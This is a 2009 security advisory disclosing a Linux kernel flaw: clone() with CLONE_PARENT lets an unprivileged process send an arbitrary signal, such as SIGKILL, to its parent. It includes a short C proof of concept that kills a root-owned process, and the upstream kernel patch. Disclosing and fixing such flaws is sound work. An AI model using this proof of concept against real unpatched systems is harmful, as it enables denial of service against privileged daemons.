CESA-2009-002 - rev 1


[See all my vulnerabilities at http://scary.beasts.org/security]

[Blog if you want to subscribe to new findings is at http://scarybeastsecurity.blogspot.com/]

Linux kernel minor signal sending vulnerability



Programs affected: Linux kernel up to at least 2.6.28.
Fixed: Fix sent upsteam. See credits below.
Severity: Send signals to processes you shouldn't be able to.

There are various interesting ways signals can be sent using the Linux kernel API. There are certainly more options that just boring kill(SIG, pid)! Examples include:

It is this final example that features in this advisory. The clone() system call permits the caller to indicate what signal it receives when its child exits; the traditional SIGCHLD or perhaps something more exotic. Normally this would not be a problem but there's the nice trick of combining this with CLONE_PARENT. CLONE_PARENT causes the new child to share the same parent as the caller, thus enabling this arbitrary signal to be sent to the caller's parent.

There is limited mischief that can be caused using this. The most likely is a DoS by killing some daemon process. This can be achieved if said daemon process launches untrusted user processes as direct children. There will be a problem if the user processes are the result of an execve() after fork() and setuid(). Without the execve(), the process will be marked as not "dumpable", so debug attach via ptrace() will not be permitted.

In some rare and bizarre cases, the ability to send a specific signal to a process at a specific time may be abused to make it misbehave. Certainly an area for further research.

Here is a sample piece of code which shows a root-owned process being killed by a non root-owned process.

#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

static int the_child(void* arg) {
  sleep(1);
  _exit(2);
}

int main(int argc, const char* argv[]) {
  int ret = fork();
  if (ret < 0)
  {
    perror("fork");
    _exit(1);
  }
  else if (ret > 0)
  {
    for (;;);
  }
  setgid(99);
  setuid(65534);
  {
    int status;
    char* stack = malloc(4096);
    int flags = SIGKILL | CLONE_PARENT;
    int child = clone(the_child, stack + 4096, flags, NULL);
  }
  _exit(100);
}
Patch sent upstream (see credits below) was:
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1184,7 +1184,9 @@ static struct task_struct *copy_process(
       p->parent_exec_id = p->self_exec_id;

       /* ok, now we should be set up.. */
-       p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 : (clone_flags & CSIGNAL);
+       p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 :
+                        (clone_flags & CLONE_PARENT) ? current->group_leader->exit_signal :
+                        (clone_flags & CSIGNAL);
       p->pdeath_signal = 0;
       p->exit_state = 0;

Credits


CESA-2009-002 - rev 1
Chris Evans
scarybeasts@gmail.com